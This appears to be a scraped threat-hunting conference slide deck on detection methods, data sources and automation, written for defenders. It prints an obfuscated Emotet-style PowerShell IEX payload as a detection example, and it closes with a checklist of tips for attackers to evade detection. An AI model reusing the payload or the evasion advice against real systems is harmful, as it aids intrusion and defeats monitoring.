Upload
alex-davies
View
617
Download
0
Embed Size (px)
Citation preview
HUNT OR BE HUNTED
7th June 2017
• Senior Threat Hunter @ Countercept
• Pentester + Defensive fanboi
• Bug Bounty Lover <3
• Blogger? @pwndizzle
WHOAMI
Threat hunting when you don’t know you’re threat hunting…
“THE PROCESS OF PROACTIVELY AND ITERATIVELY SEARCHING THROUGH NETWORKS TO DETECT AND ISOLATEADVANCED THREATS THAT EVADE EXISTING SECURITY SOLUTIONS”
- SQRRL
What is threat hunting?
Manual
Alerts from
“products” (AV)
Semi-AutomatedFully Automated
Manual Threat
HuntingAssisted Hunts
Vuln Scanners
(Nessus)Manual
PentestingTools (nmap)
Advanced
Threat Hunting
Traditional
security teams
Manual vs Automated
OFFENCE
DEFENCE
Tactical T
hreat In
tel
10%
40%
80%
99%
AUTOMATED NOTIFICATION
AUTOMATION
Cap
ab
ility
‘HUNTING USE CASE’ GENERATION (HYPOTHESIS)
‘HUNTING USE CASE’EXECUTION
The Paris Model(or Hunting Rocket, or APT Eiffel Tower)
Process
• Red team use-case: HTA w/PS payload
• Manual hunt: mshta.exe usage, PS script logging
• Automated hunt: suspicious processes/script analysis
• Refine automation (increase fidelity): Filtering/Enrichment
Requirements
• People: someone needs to know this technique, understand it enough to search and automate
• Tech: endpoint visibility required + automated analysis framework.
Paris Model In Action
Where do I start?
What data sources?
Payload
executed
Data
exfiltrated
Persistence
installed
Escalated
Privs
Lateral
movement
Payload
delivered
• Email Filter
• Web Proxy
• Bro Logs
• Firewall
• Endpoint
• Windows/Linux logs
• AV logs
• Bro Logs
• Web Proxy
• App Logs
How to do analysis?
IOCs are bad*
*If you rely on IOCs as your primary detection technique
Specific Attacker TTPs
• Anomaly or context driven
• Windows – Logins, DCSync, PrivEsc,
Lockouts
• Binaries
• Execution – cmd, ps, wscript, wmi
• Enumeration - net
• Persistence – schtasks, services, registry, cron
• In-Memory injection
• Privilege Escalation
• UAC Bypass
Endpoint
Logs Network
• Domain classification/history/age
• File analysis - Extension, Content-
type, Content, Mismatches
• Data Transfers –
Uploads/Downloads
• Dynamic DNS usage
• DNS Tunneling
In-Memory Injection
Detection
• Suspicious threads
• Unknown module
• Unusual Permissions (e.g. RWX)
• Check for MZ
• Check for PE Header
• Check for MS-DOS strings
Injection Techniques
• LoadLibrary
• Process Hollowing
• Reflective Loading
• Hooking
Advanced Attack Detection @ Securitay2017 -
https://youtu.be/ihElrBBJQo8
Least Frequency Analysis/Stacking
Frequency
Count
Highest Frequency
Process Name Count
conhost.exe 11730618
cscript.exe 9819507
cmd.exe 1497875
WmiPrvSE.exe 1444628
dllhost.exe 579741
Lowest Frequency
Process Name Count
hpzpsl01.exe 1
ismagent.exe 1
MSIAE02.tmp 1
dJK4oMMtx.exe 1
SketchUp.exe 1Anomalies
That’s a bit weird
Relationships/Graphing
Clustering/Behaviour Based Detection
https://countercept.com/our-thinking/machine-learning/
Automation
Efficiency is intelligent laziness
Speeding it up
• Data analysis with scoring/rules (“Assisted Hunts”)
• Enrichment/Context
• Integrated prevention/response
• Ticketing – Creation, Updating, Closing
• Payload Analysis – VT and Cuckoo integration, IDA/Radare plugins
• Comms with other users/clients
(https://github.com/dropbox/securitybot)
Welcome to the
real world…
• Targeting ATM management systems! :O
Example #1 – Don’t trust your admins
• Lateral movement using “Advanced IP Scanner”
• History of deployment, 1 host, 5 hosts, 27 hosts.
• Compiled Python binary with key-logging capabilities
• Suspicious executable bstack.exe running from StartUp folder
Example #2 – Emotet - Macros+Powershell <3
Scoring
• Hidden Window (3/10)
• WebClient Download File (10/10)
• URL in args (7/10)
• Start-Process (8/10)
• Network comms/File writes (9/10)
IEX( ( '36{78Q55@32t61_91{99@104X97{114Q91-32t93}32t93}32t34@110m111@105}115X115-
101m114_112@120@69-45{101@107X111m118m110-73Q124Q32X41Q57@51-
93Q114_97_104t67t91{44V39Q112_81t109@39}101{99@97}108{112}101}82_45m32_32X52{51Q93m114@97-
104{67t91t44t39V98t103V48t39-101}99}97V108}112t101_82_45{32@41X39{41_112t81_109_39m43{39-
110t101@112{81t39X43@39t109_43t112_81Q109t101X39Q43m39}114Q71_112{81m109m39@43X39V32Q40}32m3
9_43_39{114-111m108t111t67{100m110{117Q39_43m39-111-114Q103_101t114@39m43-39{111t70-
45}32m41}98{103V48V110Q98t103{48@39{43{39-43{32t98m103_48{111@105t98@103V48-39@43{39_32-
32V43V32}32t98t103@48X116m97V99t98X103t48_39V43m39@43-
39X43Q39_98@103@48}115V117V102Q98V79m45@98m39Q43{39X103_39X43Q39V48}43-39}43t39}98-
103{48V101_107Q39t43X39_111X118X110V39X43}39t98_103{48@43}32_98{103}48{73{98-
39@43t39m103_39}43{39{48Q32t39X43X39-32{40V32t41{39Q43V39m98X103{39_43V39{48-
116{115Q79{39_43_39}98}103m48{39Q43t39X32X43{32_98@103-39@43m39X48_72-
39_43t39V45m39t43Q39_101Q98}103_48-
32_39Q43V39V32t39V43}39m43Q32V98X39Q43_39@103_48V39@43Q39@116X73t82V119m98-
39{43_39}103Q48X40_46_32m39}40_40{34t59m91@65V114V114@97_121}93Q58Q58V82Q101Q118Q101{114}115
_101m40_36_78m55@32t41t32-59{32}73{69V88m32{40t36V78t55}45Q74m111@105-110m32X39V39-32}41'.SpLiT(
'{_Q-@t}mXV' ) |ForEach-Object { ([Int]$_ -AS [Char]) } ) -Join'' )
• IEX (9/10)
• Letter/Number/Special Char Ratios (8/10)
• Decoder Stub (7/10)
• Length (8/10)
https://github.com/danielbohannon/Invoke-Obfuscation
How to be a stealthier attacker
Foothold
Execution
Persistence
C2/Exfil
• Avoid SysInternals Autoruns - Scheduled Tasks, Services, Registry, Cron,
Launch Daemons/Agents
• WMI and COM not perfect but better than others
• Use “hide in plain sight” techniques
• Outlook rules, Office templates
• DLL side-loading
• Rootkits
• Anything involving custom applications
• Don’t use persistence if you don’t need to!
• Avoid network comms from processes which don’t have network comms
• Avoid newly registered domains, if possible use Google/Twitter/Youtube etc.
• Avoid DNS tunneling
• Use SSL and outlook/browsers where possible and go low and slow
• Avoid new processes and avoid using command line arguments
• Avoid Windows utilities – cmd, powershell, net, reg, etc.
• Avoid in-memory techniques
• Avoid “hacker tools” – Metasploit, CobaltStrike, Mimikatz
• Avoid “spraying” credentials
• WMI is a better option
• Use direct Windows API access where possible
• Modify tools/binaries – name, hash, description
• Avoid macros/hta files
• Social engineering, exploits, webapps are better
• Abuse third party services Facebook/Linkedin
• Target personal assets instead of corporate assets
• Data – OSQuery, GRR, Sysmon, Bro,
Event logs
• Storage – Elastic
• Analytics - ElasticDSL, Kibana,
ElastAlert, 411
• Infrastructure – Puppet, Chef, Ansible,
Docker
DIY Detection
But what about
CVE-2017-0144?!
Blue is the new red…
QUESTIONS?